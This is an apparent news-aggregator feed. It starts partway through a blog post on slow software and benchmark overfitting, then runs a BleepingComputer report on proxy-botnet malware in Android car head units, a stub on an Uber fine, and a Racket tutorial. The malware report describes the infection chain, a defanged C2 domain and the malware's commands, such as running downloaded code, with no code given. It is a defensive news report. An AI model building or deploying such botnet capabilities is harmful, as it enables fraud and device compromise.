    SELECT SearchEngineID, SearchPhrase, COUNT(*) AS c FROM hits WHERE SearchPhrase <> '' GROUP BY SearchEngineID, SearchPhrase ORDER BY c DESC LIMIT 10;

    If you squint a bit, you’ll realize that these are conceptually the same query, just with some names changed, and a constant changed slightly (the LIMIT value).

    This bit applies to many of the queries used for PGO. It’s possible that I’m misreading things, but this seems like a clear-cut case of overfitting to the benchmark.

    On the point about other people not writing JITs, there are at least a few database engines which implement JITs.

    I’m guessing there are more examples out there.


    For FRE , the README states:

    FRE is an LLM-generated regex engine made with minimal human intervention. It appears to be overfitted to BurntSushi’s rebar benchmarks and doesn’t have great general performance, although there are some uses cases where it’s actually pretty fast. See this post for more details. It’s sometimes (but not always) fast when you don’t care about compilation time and select the AOT/Optimizing compiled mode. Other cases where it’s fast are often more idiosyncratic.

    Here’s a quick question. Estimate the implementation SLOC for the following projects (excluding generated code and tests):

    • rust-lang/regex
    • danluu/fre

    I asked an LLM to estimate these numbers, and it came back with 35K for rust-lang/regex and 670K for danluu/fre. No, I didn’t mess up a zero.

    As another point of reference, the Go compiler and standard library combined, if we exclude generated code, tests, and vendored directories, ends up at about 680K SLOC.

    Luu makes the following notes about preferences:

    There’s no particular reason to use a “software factory” regex engine that doesn’t beat a well-tested regex engine on holdout benchmarks, but one notable thing about FRE was that the native AOT compiled version did quite well at longer searches. We noted that, it stands to reason that one could run the native code compiler in another thread while ripgrep was running its normal matcher and then cut over to the native code when it finished compiling and generally get better performance. Of course this will generally result in worse performance for short queries as we lose a thread to compilation, but I care a lot more about how long ripgrep takes when it runs for many seconds or minutes than when it runs for a few seconds, so I’m ok with that tradeoff.

    I guess that makes some sense from the POV of running some queries, especially if no third-party dependencies are involved, and one does not recompile the 670K SLOC often.

    It’s unclear if such an approach makes sense from the POV of software developed in a team context, for general use, which has reliability requirements, and responsibility is assigned to maintainers when things go wrong.

    Closing thoughts

    To be clear, I don’t want slower (or buggier) software.

    Historically, there is a clear trend of performance tools getting better over time. From browser DevTools to eBPF, at different layers, there are increasingly more tools for debugging performance issues. Hardware also keeps getting faster.

    At the same time, I think there’s general agreement that the average piece of software is getting slower and more resource-hungry, and that webpages are getting heavier, etc.

    I think some part of it is certainly real .

    For example, if you’ve used coding harnesses shipped by any of the major model providers, you’ve probably noticed how poor they are in terms of performance, resource utilization and overall bugginess, relative to the complexity of the feature set that’s in the harness (vs native to the model).

    Routinely, I see the time to set up MCPs and just overall time-to-responsiveness in coding agent TUIs to be longer than it takes a build system to incrementally compile and re-link a binary for a multi-million-line C++ codebase.

    At the same time, I’m willing to consider that some part of it is imagined. For example, most people, across age groups, think that morality has declined, but it hasn’t . The explanation provided for this is:

    [..] two well-known psychological phenomena can combine to produce an illusion of moral decline. One is biased exposure: people pay disproportionate attention to negative information, and media companies make money by giving it to us. The other is biased memory: the negativity of negative information fades faster than the positivity of positive information. (This is called the Fading Affect Bias; for more, see Underrated ideas in psychology).

    Biased exposure means that things always look outrageous: murder and arson and fraud, oh my! Biased memory means the outrages of yesterday don’t seem so outrageous today. When things always look bad today but brighter yesterday, congratulations pal, you got yourself an illusion of moral decline.

    So yeah, maybe this is useful to keep in mind when you next run into an example of slow software, because whether you like it or not, I think you’re going to hit it regardless.

    Hackers infect Android car head units with proxy botnet malware

    Bleeping Computer
    www.bleepingcomputer.com
    2026-08-22 10:14:24
    A supply-chain attack targeting Android-based car head units is using a legitimate device-update app to spread malware that enlists compromised devices in a proxy botnet or uses them for ad fraud. [...]...
    Original Article

    Hackers infect Android car head units with proxy botnet malware

    A supply-chain attack targeting Android-based car head units is using a legitimate device-update app to spread malware that enlists compromised devices in a proxy botnet or uses them for ad fraud.

    Kaspersky researchers analyzed the malware and attributed the operation to the MoYu group, a threat actor previously associated with the BadBox malware botnet .

    The researchers note that this is the first documented case of a malware infection chain specifically created for the targeted car head unit.

    image

    MoYu's operation targets systems from DoFun, a Chinese automotive software and hardware provider owned by Shenzhen Driving Control Technology Co., Ltd.

    DoFun is an automotive software, cloud services, and hardware provider that sells generic Android-based head units , which act as the command center for a car's infotainment, navigation, and settings systems.

    In June, Kaspersky researchers found a rogue APK file being downloaded from a legitimate DoFun system app, TWCore, which receives instructions through an MQTT server hosted at cardoor[.]cn.

    The unknown app has no interface and is a piece of malware called JarService. When launched, the malware decrypts and executes a second-stage loader that establishes communication with a command-and-control (C2) server and downloads another encrypted payload.

    The final payload periodically reports device information such as the model, display resolution, Wi-Fi SSID, and MAC address, and retrieves commands from the attackers.

    The malware supports the following nine commands:

    1. return - Retrieves a specified value from Android’s SharedPreferences storage
    2. copy - Copies stored or downloaded content to the device clipboard
    3. http - Sends HTTP GET or POST requests and can save part of the response
    4. web - Opens a URL in a WebView and executes supplied JavaScript
    5. loadlib - Not fully implemented when Kaspersky published the report
    6. loadlib2 - Downloads and executes arbitrary code or additional modules
    7. loadlib3 - Not fully implemented when Kaspersky published the report
    8. deeplink - Opens a specified resource in the browser
    9. traceroute - Checks whether specified hosts are reachable using ICMP ping

    Kaspersky says the malware does not interfere with driving or critical vehicle control systems, and appears designed for advertising fraud and turning internet-connected car head units into residential proxy nodes for monetization purposes.

    The head unit infection scheme
    The head unit infection scheme
    Source: Kaspersky

    Researchers discovered that the operator primarily loaded a reverse-proxy module named ‘zhima,’ which turns the head unit into a proxy botnet node, and also made web requests for click-fraud activity.

    Kaspersky says it notified DoFun of its findings, and the Chinese firm replied that it resolved the problem.

    BleepingComputer has contacted both companies with questions about the initial compromise vector, and we will update the article with the information once received.

    article image

    Once attackers have valid credentials, only 37% of their actions are blocked

    Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

    The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

    Get the report

    Dutch Regulator Fines Uber $1 Billion Suspending Dishonest Drivers

    Daring Fireball
    www.reuters.com
    2026-08-22 10:12:07
    Toby Sterling, reporting for Reuters: The Dutch Data Protection Authority has fined Uber €825 million ($966 million) for deactivating driver accounts through automated systems without adequately informing them, according to an August 17 decision reviewed by Reuters. The penalty would be the sec...
    Original Article

    Please enable JS and disable any ad blocker

    A Friendly Introduction to Racket

    Hacker News
    geometridae.bearblog.dev
    2026-08-22 10:08:19
    Comments...
    Original Article

    steal-your-face-plt

    "Lisp is worth learning for the profound enlightenment experience you will have when you finally get it." — Eric S. Raymond


    Welcome. Today you'll learn a language from one of programming's oldest and most unusual families. A language where code is data, where parentheses are pure structure, and where programs can write programs. By the end of this tutorial, you'll have written your own syntax.


    A bit of history

    Lisp was born in 1958 , invented by John McCarthy at MIT. For context: it's the second-oldest high-level language still in use (only Fortran, from 1957, beats it by a year). Python arrived in 1991. JavaScript in 1995. Lisp predates them by more than 30 years and several ideas we now consider "modern" were born there:

    • Garbage collection — invented for Lisp.
    • First-class functions — passing functions as arguments, now standard everywhere.
    • The REPL — the interactive read-eval-print loop that Python, Node, and Julia all have today started in Lisp.
    • Conditionals as expressions — the if that returns a value.
    • Homoiconicity — code is a data structure of the language itself. This is the big one. We'll come back to it at the end.

    For decades, Lisp was the language of artificial intelligence. In the 70s and 80s there were physical computers designed to run Lisp directly: the Lisp Machines built by Symbolics and LMI. Then came the "AI winter," funding dried up, and Lisp went from star to cult language.

    But interesting ideas don't die they mutate, that's part of the beauty of the lisps.

    From Lisp to Scheme to Racket

    In 1975, Gerald Sussman and Guy Steele created Scheme : a minimalist, elegant, almost mathematical Lisp. Scheme became academia's favorite language for teaching programming (the legendary book SICP Structure and Interpretation of Computer Programs is written in Scheme).

    In 1995, Matthias Felleisen's group created PLT Scheme , a Scheme designed for education and programming language research. In 2010 it was renamed Racket , and today it's much more than a Scheme: it's a language for building languages . Its unofficial motto is language-oriented programming : if your problem needs its own language, Racket lets you build one in an afternoon.

    Year Event
    1958 McCarthy invents Lisp at MIT
    1975 Sussman and Steele create Scheme
    1984 Common Lisp is standardized
    1995 PLT Scheme (now Racket) is born
    2007 Clojure is born (Lisp on the JVM)
    2010 PLT Scheme is renamed Racket
    Today You, reading this, about to write parentheses UwU

    Who uses Lisp today ?

    More people than you might think:

    • Clojure runs in production at banks, airlines, and startups (Nubank, the largest digital bank in Latin America, runs on Clojure).
    • Common Lisp (with the SBCL compiler) is still alive in expert systems, flight planning (ITA Software, acquired by Google, powered Google Flights), and scientific computing.
    • Emacs Lisp — millions of people run Lisp every day without knowing it, because their editor is a Lisp interpreter.
    • Guile/Guix — an entire Linux distribution configured 100% in Scheme.
    • Racket has its own annual conference (RacketCon), an active academic and artistic community, and is used for language research, formal verification (Rosette), typography and publishing (Pollen), and education around the world.
    • And new Lisps keep appearing: Fennel (a Lisp that compiles to Lua, popular for games), Janet , Hy (a Lisp on top of Python)...

    Easter egg for TADC fans:

    TADC

    In The Amazing Digital Circus (episode 8, "hjsakldfhl"), when Kinger opens the terminal to try to reset Caine, you can see that Caine (a creative AI built in 1996) is programmed in Lisp. The file is literally named Caine-core.lisp .


    Installation (5 minutes)

    1. Go to https://racket-lang.org
    2. Download the installer for your system (Linux, macOS, Windows).
    3. Open DrRacket , the environment that comes included.

    DrRacket has two areas: at the top you write your definitions (your program), and at the bottom you have the REPL for live experimentation. On the first line of the definitions area, write:

    That line tells Racket which language you're using (remember: Racket is a language factory, so you have to pick one).

    If you prefer the terminal: the racket command gives you a REPL, and raco is the package manager and tooling command.


    In the REPL, try:

    > (+ 1 2)
    3
    > (* 3 (+ 2 2))
    12
    > (string-append "hello " "world")
    "hello world"
    

    The rule of Lisp fits in one line:

    Everything is (operator argument1 argument2 ...) . Always. No exceptions.

    There's no operator precedence to memorize, no special syntax for anything. (+ 1 2) adds. (if ...) decides. (define ...) names. The parentheses that look intimidating at first are actually the complete absence of arbitrary rules. After a week, you stop seeing them.


    Definitions and functions

    #lang racket
    
    (define pi-approx 3.14159)
    
    (define (circle-area r)
      (* pi-approx r r))
    
    (circle-area 2)   ; => 12.56636
    
    • define with a name creates a constant.
    • define with (name arguments...) creates a function.
    • Comments start with ; .

    Anonymous functions use lambda (yes, that lambda Church's lambda calculus from the 1930s is the theoretical grandparent of all this):

    (lambda (x) (* x x))          ; a function with no name
    ((lambda (x) (* x x)) 5)      ; => 25, applied directly
    

    Lists: the heart of Lisp

    Lisp stands for LIS t P rocessing. Lists are the fundamental structure:

    (list 1 2 3)          ; => '(1 2 3)
    '(1 2 3)              ; the same thing, "quoted"
    (first '(1 2 3))      ; => 1
    (rest '(1 2 3))       ; => '(2 3)
    (cons 0 '(1 2 3))     ; => '(0 1 2 3)
    (length '(a b c))     ; => 3
    

    Notice the quote mark ' . It tells Racket: don't evaluate this, it's data . Hold onto that detail it's the door to the final trick.

    Higher-order functions

    This is where Racket shines. Passing functions to other functions is the most natural thing in the world:

    (map (lambda (x) (* x x)) '(1 2 3 4 5))
    ; => '(1 4 9 16 25)
    
    (filter even? '(1 2 3 4 5 6))
    ; => '(2 4 6)
    
    (foldl + 0 '(1 2 3 4 5))
    ; => 15
    

    map transforms, filter selects, foldl accumulates. With those three functions you can solve most list problems without writing a single for loop.


    Recursion: thinking in spirals

    In Lisp you don't think "repeat N times" you think "what's the base case, and how do I move toward it?":

    (define (factorial n)
      (if (= n 0)
          1
          (* n (factorial (- n 1)))))
    
    (factorial 5)   ; => 120
    

    And to make things visual, let's draw something. Racket ships with graphics libraries included:

    #lang racket
    (require 2htdp/image)
    
    (define (sierpinski level)
      (if (= level 0)
          (triangle 8 "solid" "purple")
          (let ([t (sierpinski (- level 1))])
            (above t (beside t t)))))
    
    (sierpinski 6)
    

    Paste it into DrRacket, press Run, and watch the Sierpinski triangle appear on your screen.


    The grand finale: code that writes code

    Remember the quote mark ' : it turns code into data. Watch:

    '(+ 1 2)          ; => the LIST (+ 1 2), not the number 3
    (first '(+ 1 2))  ; => the symbol +
    (eval '(+ 1 2))   ; => 3. You just evaluated data as code.
    

    Your program is a list. You can build lists. Therefore: you can build programs with programs . This is homoiconicity , and it's why Lisp has real macros not text macros like in C, but functions that receive code and return code, before anything runs.

    Racket doesn't have a while loop? Let's invent one:

    (define-syntax-rule (while condition body ...)
      (let loop ()
        (when condition
          body ...
          (loop))))
    
    (define counter 0)
    (while (< counter 5)
      (displayln counter)
      (set! counter (+ counter 1)))
    

    You just extended the language ! in Lisp, the syntax is yours.

    Alan Kay called Lisp "the Maxwell's equations of software" : a tiny core from which everything else can be derived.


    What next?

    Kurosawa_Ruby_Holding_SICP


    Stalking the Wily Hacker: 40 years later

    Lobsters
    youtu.be
    2026-08-22 09:48:24
    Comments...